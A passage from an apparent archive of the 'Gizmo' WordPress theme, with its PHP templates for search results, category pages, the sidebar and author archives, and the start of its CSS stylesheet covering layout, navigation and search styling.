$theme_options = pmthemes_theme_options();
echo '<div id="wrap" class="clearfix">';
    if ( $theme_options['pmthemes_display_fullw'] == false ) :
        echo '<section id="content" class="primary" role="main">';
        else:
        echo '<section id="content-full" class="primary" role="main">';
    endif;
    if (have_posts()) :
        echo '<h2 id="search-title" class="archive-title '. $theme_options['pmth_arc_align_header'] .'">';
            printf( __( 'Search Results for: %s', 'pmthemes' ), '<span>' . get_search_query() . '</span>' );
        echo '</h2>';
        if ( $theme_options['pmth_grid_col_opt'] == 'pmth-grid-coln' ) {
            $gridopt = $theme_options['pmth_grid_column'];
        } else {
            $gridopt = $theme_options['pmth_grid_width'];
        }
        echo '<div class="pmth-grid '. $gridopt .'">';
            while (have_posts()) : the_post();
                if ( 'post' == get_post_type() ) :
                    get_template_part( 'template-parts/content', $theme_options['posts_length'] );
                else :
                    get_template_part( 'template-parts/content', 'search' );
                endif;
            endwhile;
        echo '</div>';
        pmthemes_display_pagination();
    else :
        echo '<h2 id="search-title" class="archive-title '. $theme_options['pmth_arc_align_header'] .'">';
            printf( __( 'Search Results for: %s', 'pmthemes' ), '<span>' . get_search_query() . '</span>' );
        echo '</h2>';
        echo '<div class="post">';
            echo '<div class="entry">';
                echo '<p>';
                        _e('No matches. Please try again, or use the navigation menus to find what you search for.', 'pmthemes');
                echo '</p>';
                echo '<p>';
                    get_search_form();
                echo '</p>';
            echo '</div>';
        echo '</div>';
    endif;
    echo '</section>';
    if ( $theme_options['pmthemes_display_fullw'] == false ) :
        get_sidebar();
    endif;
echo '</div>';
get_footer();
?>pmgizmo/category-products.php000064400000000704152223213640012416 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
get_header(); ?>
<?php $theme_options = pmthemes_theme_options(); ?>
	<div id="wrap" class="clearfix">
		<section id="content" class="primary" role="main">
		<?php 
		get_template_part( 'template-parts/content', 'product' );
		?>
       <?php pmthemes_display_pagination();  ?>         
		</section>
		<?php get_sidebar(); ?>
	</div>
<?php get_footer(); ?>	pmgizmo/sidebar.php000064400000001716152223213640010355 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
?>
	<section id="sidebar" class="secondary clearfix" role="complementary">
		<?php
			// Check if Sidebar has widgets
			if( is_active_sidebar('sidebar') ) : 
				dynamic_sidebar('sidebar');
			// Show hint where to add widgets
			else : ?>
			<aside class="widget">
				<h3 class="widgettitle"><?php _e('Widget Area', 'pmthemes'); ?></h3>
				<div class="textwidget">
					<p><?php _e('There are no active widgets to be displayed. Please go to Appearance -> Widgets to setup your sidebar.', 'pmthemes'); ?></p>
				</div>
			</aside>
		<?php endif; ?>
		<?php if ( is_active_sidebar( 'sidebar2' ) ) : ?>
			<div class="sideleft">
			<?php dynamic_sidebar( 'sidebar2' ); ?>
			</div>
		<?php endif; ?>
		<?php if ( is_active_sidebar( 'sidebar3' ) ) : ?>
			<div class="sideright">
			<?php dynamic_sidebar( 'sidebar3' ); ?>
			</div>
		<?php endif; ?>
	</section>
pmgizmo/category-videos.php000064400000000702152223213640012042 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
get_header(); ?>
<?php $theme_options = pmthemes_theme_options(); ?>
	<div id="wrap" class="clearfix">
		<section id="content" class="primary" role="main">
		<?php 
		get_template_part( 'template-parts/content', 'video' );
		?>
       <?php pmthemes_display_pagination();  ?>         
		</section>
		<?php get_sidebar(); ?>
	</div>
<?php get_footer(); ?>	pmgizmo/author.php000064400000001621152223213640010241 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
get_header(); ?>
<?php // Get Theme Options from Database
	$theme_options = pmthemes_theme_options();
?>
<?php // Retrieve Current Author
	$author = (get_query_var('author_name')) ? get_user_by('slug', get_query_var('author_name')) : get_userdata(get_query_var('author'));
?>
	<div id="wrap" class="clearfix">
		<section id="content" class="primary" role="main">
			<h2 id="author-title" class="archive-title">
				<?php printf(__('Author Archives: %s', 'pmthemes'), '<span>' . esc_attr($author->display_name) . '</span>'); ?>
			</h2>
		<?php if (have_posts()) : while (have_posts()) : the_post();
			get_template_part( 'template-parts/content', $theme_options['posts_length'] );
			endwhile;
		pmthemes_display_pagination();
		endif; ?>
		</section>
		<?php get_sidebar(); ?>
	</div>
<?php get_footer(); ?>	pmgizmo/style.css000064400000255250152223213640010111 0ustar00/*!
Theme Name: Gizmo
Version: 2.1.3
Description: Gizmo is a unique mobile friendly Wordpress theme perfect for creating niche websites as well as affiliate review sites. It's a light theme with no bloated codes yet it has flexible features that will help you change fonts, colors, and layout of your site.
Theme URI: https://pmthemes.com/gizmo/
Author: PMThemes
Author URI: https://pmthemes.com/
Tags: two-columns, theme-options, left-sidebar, right-sidebar, grid-layout, custom-background, custom-colors, custom-header, custom-menu, custom-logo, featured-image-header, featured-images, footer-widgets, full-width-template, blog, e-commerce, education, entertainment, news, photography, portfolio
Requires at least: 5.0
Tested up to: 5.5
Requires PHP: 7.2
Stable tag: 2.1.0
License: GNU General Public License v2.0
License URI: http://www.gnu.org/licenses/gpl-2.0.html
Text Domain: pmthemes
*/
/* CSS Reset | http://meyerweb.com/eric/tools/css/reset/ | v2.0
-------------------------------------------------------------- */
html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre,
a, abbr, acronym, address, big, cite, code, del, dfn, em, img, ins, kbd, q, s, samp,
small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li,
fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td,
article, aside, canvas, details, embed, figure, figcaption, footer, header, hgroup,
menu, nav, output, ruby, section, summary, time, mark, audio, video {
    margin: 0;
    padding: 0;
    border: 0;
    font-size: 100%;
    font: inherit;
    vertical-align: baseline;
}
/*-- HTML5 display-role reset for older browsers --*/
article, aside, details, figcaption, figure,
footer, header, hgroup, menu, nav, section {
    display: block;
}
ol, ul {
    list-style: none;
}
blockquote, q {
    quotes: none;
}
blockquote:before, blockquote:after,
q:before, q:after {
    content: '';
    content: none;
}
.entry table,
table {
    border-collapse: collapse;
    border-spacing: 0;
}
/*-- General Styles --*/
html {
    font-size: 100.01%;
}
body {
    color: #333;
    font-family: Arial, Helvetica, sans-serif;
    line-height: 1;
    font-size: 0.95em;
    border: 0;
    background-color: #E8EEF1;
}
/* Links */
a,
a:link,
a:visited{
    color: #3c3c3c;
    text-decoration: none;
}
a:hover,
a:active {
    color: #0645ad;
    text-decoration: underline;
}
/* Form Elements */
input,
textarea {
    color: #333;
    font-family: Arial, Helvetica, sans-serif;
    padding: 0.7em;
    background: #fff;
    border: 1px solid #ddd;
    font-size: 1em;
}
input[type=submit] {
    background-color: #1079c9;
    border: none;
    color: #fff;
    padding: 0.5em 1em;
}
input[type=submit]:hover {
    background-color: #4caf50;
    cursor: pointer;
    color: #fff;
}
/* Clearing Floats */
.clearfix:after,
.clearfix:before {
    content: " ";
    display: table;
}
.clearfix {
    *zoom: 1; /* For IE 6/7 only */
}
/* Make Form Elements responsive */
input,
textarea,
select {
    max-width: 100%;
    font-size: 16px;
    padding: 6px;
}
#sidebar select {
    width: 100%;
}
#wrap,
.clearfix:after,
.comment-author img:after,
.main-navigation,
.postinfo,
.stickynav {
    clear: both;
}
/*-- Patterns --*/
/* Assistive text */
.screen-reader-text {
    clip: rect(1px, 1px, 1px, 1px);
    overflow: hidden;
    position: absolute!important;
    height: 1px;
    width: 1px;
}
.screen-reader-text:focus {
    background-color: #f1f1f1;
    border-radius: 3px;
    -webkit-box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
            box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
    clip: auto!important;
    color: #21759b;
    display: block;
    font-size: 14px;
    font-weight: 700;
    height: auto;
    line-height: normal;
    padding: 15px 23px 14px;
    position: absolute;
    left: 5px;
    top: 5px;
    text-decoration: none;
    width: auto;
    z-index: 100000;
}
/* Wrappers */
#content-wrap,
#footer-wrap,
#header-wrap {
    background: #fff;
}
#wrap,
#wrapper,
#content,
#sidebar,
#sidebar .widget,
.gallery-item {
    -webkit-box-sizing: border-box;
    -moz-box-sizing: border-box;
    box-sizing: border-box;
}
#wrapper,
.wide-header #wrap {
    -webkit-box-shadow: 0 5px 10px 2px rgba(2, 2, 2, 0.5);
    box-shadow: 0 5px 10px 2px rgba(2, 2, 2, 0.5);
}
#wrapper {
    max-width: 1340px;
    width: 91%;
    margin: auto;
    -webkit-box-sizing: border-box;
            box-sizing: border-box
}
#wrap {
    padding: 0;
    -webkit-box-sizing: border-box;
            box-sizing: border-box;
}

/* Content */
#content {
    float: left;
    width: 68.67%;
    padding: 2em 2em 0;
    -webkit-box-sizing: border-box;
            box-sizing: border-box;
}
.home #content {
    padding: 1.5em 1.5em 0;
}
/* Sidebar */
#sidebar {
    margin-left: 68.67%;
    width: 31.33%;
    padding: 1.5em 1.5em 1em 0.5em;
    -webkit-box-sizing: border-box;
            box-sizing: border-box;
    background: #fff;
}
.rlayout #sidebar {
    padding: 1.5em 0.5em 1em 1.5em;
}
.sideleft {
    width: 49%;
    float: left;
}
.sideright {
    width: 49%;
    float: right;
}
.sideleft .widget ul li,
.sideright .widget ul li {
    margin-bottom: 3px;
    padding-left: 0;
}
#content-full {
    padding: 2em;
}

/*-- Banner Structure  --*/
#header-banner .widget a:active,
#header-banner .widget a:hover,
#logo a:hover,
#logo a:hover .site-title,
.site-header .home-link {
    text-decoration: none;
}
/*-- Header  --*/
.site-header {
    position: relative;
}
#header-wrap {
    min-height: 4.8em;
}
#header {
    padding: 1em 1.5em;
    background: none;
    display: -webkit-box;
    display: -ms-flexbox;
    display: flex;
    -webkit-box-align: center;
        -ms-flex-align: center;
            align-items: center;
    -webkit-box-pack: justify;
        -ms-flex-pack: justify;
            justify-content: space-between;
}
#header:before,
#header:after {
    display: none;
}
.site-header .site-title:hover {
    text-decoration: underline;
}
.site-header .home-link {
    color: #141412;
    display: block;
    margin: 0 auto;
    min-height: 230px;
    padding: 0 20px;
    width: 100%;
}
/* Custom Header Image */
#custom-header {
    margin: 0;
}
#custom-header img {
    max-width: 1340px;
    vertical-align: top;
    width: 100%;
    height: auto;
}
/*-- Logo  --*/
#logo {
    max-width: 37.5%;
    margin: 0;
}
#logo .site-logo {
    max-width: 100%;
    border: 0;
}
#logo .site-title {
    float: left;
    font-size: 2.5em;
    font-weight: 700;
    color: #1E3D58;
    font-family: Georgia, Arial, Tahoma, sans-serif;
    text-shadow: 1px 1px 0 #000;
}
#logo a:hover .site-title {
    color: #333
}
#logo .site-description {
    float: left;
    margin: 0;
    line-height: 1em;
    font-size: 1em;
    color: #444;
}
/*-- Header Banner --*/
#header-banner {
    max-width: 61.5%;
    background: 0 0;
}
#header-banner .widget {
    float: left;
    max-width: 100%;
    margin: 0;
    padding: 0;
    background: 0 0;
}
#header-banner .widget img {
    float:  right;
    max-height: 110px;
}
#header-banner .widget a:link,
#header-banner .widget a:visited {
    max-width: 100%;
}
#header-banner .widget .textwidget {
    line-height: 0;
}
#header-banner .widget .textwidget p {
    margin: 0;
}
/*-- Top Navbar --*/
#topnavbar {
    background: #777;
    min-height: 30px;
    display: -webkit-box;
    display: -ms-flexbox;
    display: flex;
    -webkit-box-align: center;
        -ms-flex-align: center;
            align-items: center;
    -webkit-box-pack: justify;
        -ms-flex-pack: justify;
            justify-content: space-between;
}
#topnavbar p {
    color: #f9f9f9;
    font-size: 11px;
    font-weight: 700;
    padding: 0 1em;
}
.topnavbarleft {
    max-width: 49%;
    -ms-flex-line-pack: center;
        align-content: center;
}
.topnavbarright {
    max-width: 49%;
    -ms-flex-line-pack: center;
        align-content: center;
}
#topnavbar #header-social-icons .social-icons-menu li a {
    padding: 0.12em 0.75em;
}
#topnavbar #header-social-icons .social-icons-menu li a:before {
    font-size: 14px;
    color: #f9f9f9;
}
/*-- Top Navigation Menu --*/
#topnav-icon,
.menu-toggle,
.stickynav {
    display: none;
}
.topinner {
    display: -webkit-box;
    display: -ms-flexbox;
    display: flex;
    -webkit-box-align: center;
    -ms-flex-align: center;
    align-items: center;
    -webkit-box-pack: justify;
    -ms-flex-pack: justify;
    justify-content: space-between;
}
#topheader,
#topnav {
    background: #003640;
    position: relative;
}
#topnav-menu {
    float: left;
    position: relative;
    list-style-type: none;
}
#topnav-menu li {
    float: left;
    position: relative;
}
#topnav-menu a {
    display: block;
    padding: 0.75em;
    text-decoration: none;
    text-transform: uppercase;
    font-size: 0.95em;
}
#topnav-menu a:link,
#topnav-menu a:visited {
    color: #f9f9f9;
    text-decoration: none;
}
#topnav-menu a:hover,
#topnav-menu li a:hover {
    color: #fff;
    text-decoration: none;
    background: rgba(0, 0, 0, 0.185);
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
    background: rgba(0, 0, 0, 0.15);
}
#topnav-menu .children,
#topnav-menu .sub-menu {
    background-color: #303030;
    padding: 0;
    position: absolute;
    z-index: 99999;
    height: 1px;
    width: 1px;
    overflow: hidden;
    clip: rect(1px, 1px, 1px, 1px);
}
#topnav-menu .sub-menu li {
    border-right: none;
}
#topnav-menu .sub-menu li:first-child {
    border-left: none;
}
#topnav-menu .children ul,
#topnav-menu .sub-menu ul {
    border-left: 1px solid rgba(255, 255, 255, 0.2);
    left: 100%;
    top: 0;
}
#topnav-menu ul ul a,
ul#topnav-menu ul a {
    color: #fff;
    border-top: 1px solid rgba(255, 255, 255, 0.2);
    margin: 0;
    width: 200px;
}
#topnav-menu ul ul a:focus,
#topnav-menu ul ul a:hover,
ul#topnav-menu ul a:focus,
ul#topnav-menu ul a:hover {
    background: rgba(0, 0, 0, 0.185);
}
#topnav-menu .focus>ul,
#topnav-menu ul li:hover>ul,
ul#topnav-menu .focus>ul,
ul#topnav-menu li:hover>ul {
    clip: inherit;
    overflow: inherit;
    height: inherit;
    width: inherit;
}

/*-- Main Navigation Menu When on Header Beside Title --*/
@media only screen and (min-width:60em) {
    #header #navi-wrap {
        color: #3c3c3c;
        background: transparent;
        border-top: none;
        border-bottom: none;
    }
    #header #navi-wrap .nav-menu li a,
    #header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
    #header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
        color: #3c3c3c;
    }
    #header #navi-wrap .nav-menu li a:focus,
    #header #navi-wrap .nav-menu li a:hover,
    #header #navi-wrap .nav-menu li:focus > a,
    #header #navi-wrap .nav-menu li:hover > a,
    #header #navi-wrap .nav-menu li.menu-item-has-children > a:hover:after,
    #header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:hover:after {
        color: #f9f9f9;
    }
    #header #navi-wrap .nav-menu ul ul a,
    #header #navi-wrap ul.nav-menu ul a {
        color: #fff;
    }
    #header #navi-wrap .nav-menu li {
        border: none;
    }
    #header .search-icon:before {
        color: #333;
    }
    #header #navi-wrap .menu-toggle,
    #header #navi-wrap .menu-toggle:active,
    #header #navi-wrap .menu-toggle:focus,
    #header #navi-wrap .menu-toggle:hover {
        color: #333;
    }
}
/*-- Main Navigation Menu --*/
.main-navigation,
.navbar {
    margin: 0 auto;
    width: 100%;
}
#navi-wrap {
    background: #0096b3;
}
.main-navigation {
    min-height: 38px;
    position: relative;
    display: -webkit-box;
    display: -ms-flexbox;
    display: flex;
    -webkit-box-orient: vertical;
    -webkit-box-direction: normal;
        -ms-flex-direction: column;
            flex-direction: column;
    -webkit-box-pack: center;
        -ms-flex-pack: center;
            justify-content: center;
    -webkit-box-align: start;
        -ms-flex-align: start;
            align-items: start;
}
div.nav-menu > ul,
ul.nav-menu {
    margin: 0;
    padding: 0 40px 0 0;
}
.nav-menu li {
    position: relative;
    float: left;
}
.nav-menu li a {
    color: #fff;
    display: block;
    font-size: 1.05em;
    padding: 0.8em;
    text-decoration: none;
    text-transform: uppercase;
    font-family: Arial, Helvetica, Arial, sans-serif;
    -webkit-transition: all .1s ease-out;
    transition: all .1s ease-out;
}
.nav-menu li a:focus,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li:hover > a {
    background: #A34100;
    color: #fff;
}
.nav-menu .children,
.nav-menu .sub-menu {
    background-color: #0081D6;
    padding: 0;
    position: absolute;
    z-index: 99999;
    height: 0;
    width: 0;
    overflow: hidden;
    clip: rect(1px, 1px, 1px, 1px);
}
.nav-menu .sub-menu li,
.nav-menu .sub-menu li:first-child,
.nav-menu .sub-menu li:last-child {
    border-right: none;
    border-left: none;
}
.nav-menu .children ul,
.nav-menu .sub-menu ul {
    border-left: 1px solid rgba(255, 255, 255, .2);
    left: 100%;
    top: 0;
}
.nav-menu ul ul a,
ul.nav-menu ul a {
    color: #fff;
    border-top: 1px solid rgba(255, 255, 255, 0.2);
    margin: 0;
    width: 200px;
}
.nav-menu ul ul a:focus,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
ul.nav-menu ul a:hover {
    color: #fff;
    background: #8F591B;
}
.nav-menu .focus > ul,
.nav-menu ul li:hover > ul,
ul.nav-menu .focus > ul,
ul.nav-menu li:hover > ul {
    clip: inherit;
    overflow: inherit;
    height: inherit;
    width: inherit;
}
.nav-menu .current-menu-ancestor > a,
.nav-menu .current-menu-item > a,
.nav-menu .submenu .current-menu-item > a,
.nav-menu .current_page_ancestor > a,
.nav-menu .current_page_item > a {
    color: #fff;
    text-decoration: none;
}

/*-- Submenu indicators --*/
.nav-menu li.menu-item-has-children > a:after,
.nav-menu .submenu li.menu-item-has-children > a:after {
    content: "\f347";
    font-family: dashicons;
    color: #fff;
    font-size: 14px;
    vertical-align: 1px;
    float: right;
}
.nav-menu li.menu-item-has-children > a:hover:after,
.nav-menu .submenu li.menu-item-has-children > a:hover:after {
    color: #fff;
}
/*-- Sticky Nav --*/
.stickynav {
    -webkit-box-shadow: 0 2px 10px 2px rgba(2, 2, 2, 0.5);
    box-shadow: 0 2px 10px 2px rgba(2, 2, 2, 0.5);
    background: #0096b3;
    position: fixed;
    top: 0;
    margin: 0 auto;
    width: 91%;
    max-width: 1340px;
    z-index: 999;
}
.sticky {
    border-left: 5px solid #ddd;
    padding-left: 1.5em;
}
.admin-bar .stickynav {
    top: 32px;
}

/*-- Main Navigation Search - Dongle Type --*/
.search-main-menu {
    position: relative;
}
.search-top {
    cursor: pointer;
    position: absolute;
    right: 0;
    top: 0;
}
.search-top:hover {
    background: none;
}
.search-icon:before {
    content: "\f179";
    font-family: 'dashicons', sans-serif;
    font-style: normal;
    font-weight: normal;
    color: #f9f9f9;
    opacity: 0.9;
    display: inline-block;
    text-decoration: inherit;
    width: 1.25em;
    text-align: center;
    font-size: 26px;
    padding: 0.29em 0.4em;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
    transition: transform 0.3s ease;
}
.search-icon:hover:before {
    opacity: 1;
    transform: scale(1.30);
}
.active.search-icon:before {
    content: "\f158";
}
.search-form-top {
    width: 300px;
    background-color: #255C8B;
    border: 1px solid rgba(99, 99, 99, 0.4);
    -webkit-box-shadow: 0 0 1px #bbb inset;
    box-shadow: 0 0 1px #bbb inset;
    display: none;
    padding: 7px;
    position: absolute;
    right: 0;
    top: 40px;
    z-index: 9999;
}
/* Theme Search Widget */
.search-form {
    display: block;
    position: relative;
    width: 100%;
    margin: 0;
    padding: 0;
    overflow: hidden;
}
.search-form .screen-reader-text {
    display: none;
}
.search-form .search-field {
    display: inline-block;
    margin: 0;
    width: 100%;
    padding: 0.6em 1.5em 0.6em 0.7em;
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
    -webkit-appearance: none;
}
.search-form .search-submit {
    position: absolute;
    top: 0;
    right: 0;
    border: none;
    background: #057DCD;
    padding: 0;
    cursor: pointer;
    -webkit-transition: all 0.4s ease;
    transition: all 0.4s ease;
}
.search-form .search-submit:hover {
    background: #098039;
}
.search-form .search-submit .pmthemes-search:before {
    display: inline-block;
    padding: 0.32em;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
    font-size: 26px;
    line-height: 1;
    font-family: 'dashicons', sans-serif;
    text-decoration: inherit;
    font-weight: normal;
    font-style: normal;
    vertical-align: middle;
    color: #fff;
    content: '\f179';
}
/*-- Theme Layout  --*/
@media only screen and (min-width:60em) {
    .wd2 #wrapper,
    .wd2 .stickynav {
        max-width: 980px;
    }
    .wd2 #wrapper {
        width: 98%;
    }
    .wd2 #content {
        width: 65%;
    }
    .wd2 #sidebar {
        margin-left: 65%;
        width: 35%;
    }
    .wd2 .ducksoy {
        max-width: 100%;
    }
    .wd2 .widget-category-posts .small-post .wp-post-image {
        max-width: 45%;
    }
    .wd3 #wrapper,
    .wd3 .stickynav {
        max-width: 1000px;
    }
    .wd3 #wrapper {
        width: 98%;
    }
    .wd3 #content {
        width: 65%;
    }
    .wd3 #sidebar {
        margin-left: 65%;
        width: 35%;
    }
    .wd3 .ducksoy {
        max-width: 100%;
    }
    .wd3 .widget-category-posts .small-post .wp-post-image {
        max-width: 45%;
    }
    .wd4 #wrapper,
    .wd4 .stickynav {
        max-width: 1021px;
    }
    .wd4 #wrapper {
        width: 98%;
    }
    .wd4 #content {
        width: 65%;
    }
    .wd4 #sidebar {
        margin-left: 65%;
        width: 35%;
    }
    .wd4 .ducksoy {
        max-width: 100%;
    }
    .wd4 .widget-category-posts .small-post .wp-post-image {
        max-width: 45%;
    }
    .wd5 #wrapper,
    .wd5 .stickynav {
        max-width: 1083px;
        width: 97%;
    }
    .wd5 #content {
        width: 64%;
    }
    .wd5 #sidebar {
        margin-left: 64%;
        width: 36%;
    }
    .wd5 .stickynav {
        max-width: 1083px;
    }
    .wd5 .ducksoy {
        max-width: 100%;
    }
    .wd6 #wrapper,
    .wd6 .stickynav {
        max-width: 1150px;
        width: 94%;
    }
    .wd6 #content {
        width: 66.5%;
    }
    .wd6 #sidebar {
        margin-left: 66.5%;
        width: 33.5%;
    }
    .wd6 .stickynav {
        max-width: 1150px;
    }
    .wd6 .ducksoy {
        max-width: 100%;
    }
    .wd7 #wrapper,
    .wd7 .stickynav {
        max-width: 1192px;
        width: 94%;
    }
    .wd7 #content {
        width: 67%;
    }
    .wd7 #sidebar {
        margin-left: 67%;
        width: 33%;
    }
    .wd7 .stickynav {
        max-width: 1192px;
    }
    .wd7 .ducksoy {
        max-width: 100%;
    }
    .wd8 #wrapper,
    .wd8 .stickynav {
        max-width: 1280px;
        width: 92.2%;
    }
    .wd8 #content {
        width: 68%;
    }
    .wd8 #sidebar {
        margin-left: 68%;
        width: 32%;
    }
    .wd8 .stickynav {
        max-width: 1280px;
    }
    .wd8 .ducksoy {
        max-width: 100%;
    }
    .wd9 #wrapper,
    .wd9 .stickynav {
        max-width: 1327px;
        width: 92%;
    }
    .wd9 #content {
        width: 70%;
    }
    .wd9 #sidebar {
        margin-left: 70%;
        width: 30%;
    }
    .wd9 .stickynav {
        max-width: 1327px;
    }
    .wd9 .ducksoy {
        max-width: 100%;
    }
    .wd10 #wrapper,
    .wd10 .stickynav {
        max-width: 1392px;
        width: 92%;
    }
    .wd10 #content {
        width: 70%;
    }
    .wd10 #sidebar {
        margin-left: 70%;
        width: 30%;
    }
    .wd10 .stickynav {
        max-width: 1392px;
    }
    .wd10 .ducksoy {
        max-width: 100%;
    }
    .wd2.wide-header #content-wrap,
    .wd2.wide-header #footer-widgets,
    .wd2.wide-header #header,
    .wd2.wide-header .topinner,
    .wd2.wide-header .footie,
    .wd2.wide-header .navbar {
        max-width: 980px;
    }
    .wd2.wide-header #content {
        width: 65%;
    }
    .wd2.wide-header #sidebar {
        margin-left: 65%;
        width: 35%;
    }
    .wd2.wide-header .stickynav {
        width: 100%;
        max-width: none;
    }
    .wd2.wide-header .ducksoy {
        margin: 0 auto;
        max-width: 980px;
    }
    .rlayout.wd2.wide-header #sidebar {
        margin-right: 65%;
        margin-left: 0;
    }
    .wd3.wide-header #content-wrap,
    .wd3.wide-header #footer-widgets,
    .wd3.wide-header #header,
    .wd3.wide-header .topinner,
    .wd3.wide-header .footie,
    .wd3.wide-header .navbar {
        max-width: 1000px;
    }
    .wd3.wide-header #content {
        width: 64.67%;
    }
    .wd3.wide-header #sidebar {
        margin-left: 64.67%;
        width: 35.33%;
    }
    .wd3.wide-header .stickynav {
        width: 100%;
        max-width: none;
    }
    .wd3.wide-header .ducksoy {
        margin: 0 auto;
        max-width: 1000px;
    }
    .rlayout.wd3.wide-header #sidebar {
        margin-right: 64.67%;
        margin-left: 0;
    }
    .wd4.wide-header #content-wrap,
    .wd4.wide-header #footer-widgets,
    .wd4.wide-header #header,
    .wd4.wide-header .topinner,
    .wd4.wide-header .footie,
    .wd4.wide-header .navbar {
        max-width: 1021px;
    }
    .wd4.wide-header #content {
        width: 65%;
    }
    .wd4.wide-header #sidebar {
        margin-left: 65%;
        width: 35%;
    }
    .wd4.wide-header .stickynav {
        width: 100%;
        max-width: none;
    }
    .wd4.wide-header .ducksoy {
        margin: 0 auto;
        max-width: 1021px;
    }
    .rlayout.wd4.wide-header #sidebar {
        margin-right: 65%;
        margin-left: 0;
    }
    .wd5.wide-header #content-wrap,
    .wd5.wide-header #footer-widgets,
    .wd5.wide-header #header,
    .wd5.wide-header .topinner,
    .wd5.wide-header .footie,
    .wd5.wide-header .navbar {
        max-width: 1083px;
    }
    .wd5.wide-header #content {
        width: 64%;
    }
    .wd5.wide-header #sidebar {
        margin-left: 64%;
        width: 36%;
    }
    .wd5.wide-header .stickynav {
        width: 100%;
        max-width: none;
    }
    .wd5.wide-header .ducksoy {
        margin: 0 auto;
        max-width: 1083px;
    }
    .rlayout.wd5.wide-header #sidebar {
        margin-right: 64%;
        margin-left: 0;
    }
    .wd6.wide-header #content-wrap,
    .wd6.wide-header #footer-widgets,
    .wd6.wide-header #header,
    .wd6.wide-header .topinner,
    .wd6.wide-header .footie,
    .wd6.wide-header .navbar {
        max-width: 1150px;
    }
    .wd6.wide-header #content {
        width: 66.5%;
    }
    .wd6.wide-header #sidebar {
        margin-left: 66.5%;
        width: 33.5%;
    }
    .wd6.wide-header .stickynav {
        width: 100%;
        max-width: none;
    }
    .wd6.wide-header .ducksoy {
        margin: 0 auto;
        max-width: 1150px;
    }
    .rlayout.wd6.wide-header #sidebar {
        margin-right: 66.5%;
        margin-left: 0;
    }
    .wd7.wide-header #content-wrap,
    .wd7.wide-header #footer-widgets,
    .wd7.wide-header #header,
    .wd7.wide-header .topinner,
    .wd7.wide-header .footie,
    .wd7.wide-header .navbar {
        max-width: 1192px;
    }
    .wd7.wide-header #content {
        width: 67%;
    }
    .wd7.wide-header #sidebar {
        margin-left: 67%;
        width: 33%;
    }
    .wd7.wide-header .stickynav {
        width: 100%;
        max-width: none;
    }
    .wd7.wide-header .ducksoy {
        margin: 0 auto;
        max-width: 1192px;
    }
    .rlayout.wd7.wide-header #sidebar {
        margin-right: 67%;
        margin-left: 0;
    }
    .wd8.wide-header #content-wrap,
    .wd8.wide-header #footer-widgets,
    .wd8.wide-header #header,
    .wd8.wide-header .topinner,
    .wd8.wide-header .footie,
    .wd8.wide-header .navbar {
        max-width: 1280px;
    }
    .wd8.wide-header #content {
        width: 68%;
    }
    .wd8.wide-header #sidebar {
        margin-left: 68%;
        width: 32%;
    }
    .wd8.wide-header .stickynav {
        width: 100%;
        max-width: none;
    }
    .wd8.wide-header .ducksoy {
        margin: 0 auto;
        max-width: 1280px;
    }
    .rlayout.wd8.wide-header #sidebar {
        margin-right: 68%;
        margin-left: 0;
    }
    .wd9.wide-header #content-wrap,
    .wd9.wide-header #footer-widgets,
    .wd9.wide-header #header,
    .wd9.wide-header .topinner,
    .wd9.wide-header .footie,
    .wd9.wide-header .navbar {
        max-width: 1327px;
    }
    .wd9.wide-header #content {
        width: 70%;
    }
    .wd9.wide-header #sidebar {
        margin-left: 70%;
        width: 30%;
    }
    .wd9.wide-header .stickynav {
        width: 100%;
        max-width: none;
    }
    .wd9.wide-header .ducksoy {
        margin: 0 auto;
        max-width: 1327px;
    }
    .rlayout.wd9.wide-header #sidebar {
        margin-right: 70%;
        margin-left: 0;
    }
    .wd10.wide-header #content-wrap,
    .wd10.wide-header #footer-widgets,
    .wd10.wide-header #header,
    .wd10.wide-header .topinner,
    .wd10.wide-header .footie,
    .wd10.wide-header .navbar {
        max-width: 1392px;
    }
    .wd10.wide-header #content {
        width: 70%;
    }
    .wd10.wide-header #sidebar {
        margin-left: 70%;
        width: 30%;
    }
    .wd10.wide-header .stickynav {
        width: 100%;
        max-width: none;
    }
    .wd10.wide-header .ducksoy {
        margin: 0 auto;
        max-width: 1392px;
        width: 92%;
    }
    .rlayout.wd10.wide-header #sidebar {
        margin-right: 70%;
        margin-left: 0;
    }
}
/*-- Wide Layout  --*/
.wide-header #wrapper {
    max-width: none;
    width: 100%;
    margin: auto;
}
.wide-header .stickynav {
    width: 100%;
    max-width: none;
}
.wide-header .ducksoy {
    margin: 0 auto;
    max-width: 1152px;
}
.wide-header #header {
    max-width: 1152px;
    margin: auto;
    padding: 1em;
}
.wide-header #content-wrap {
    max-width: 1152px;
    margin: .55em auto .75em;
    -webkit-box-shadow: 0 0 5px 0 rgba(0, 0, 0, .2);
            box-shadow: 0 0 5px 0 rgba(0, 0, 0, .2);
}
.wide-header #footer-widgets,
.wide-header .topinner,
.wide-header .footie {
    max-width: 1152px;
    margin: auto;
}
.wide-header .navbar {
    max-width: 1152px;
}
.wide-header #footer {
    padding: 1.2em 0;
}
/*-- Left Sidebar  --*/
@media only screen and (min-width:60em) {
    .rlayout #content {
        float: right;
    }
    .rlayout #sidebar {
        margin-left: 0;
        margin-right: 70%;
        background: #fff;
    }
}
@media only screen and (max-width:70em) {
    .rlayout #sidebar {
        margin-right: 67%;
    }
}
/*-- Widget Styling --*/
.widget {
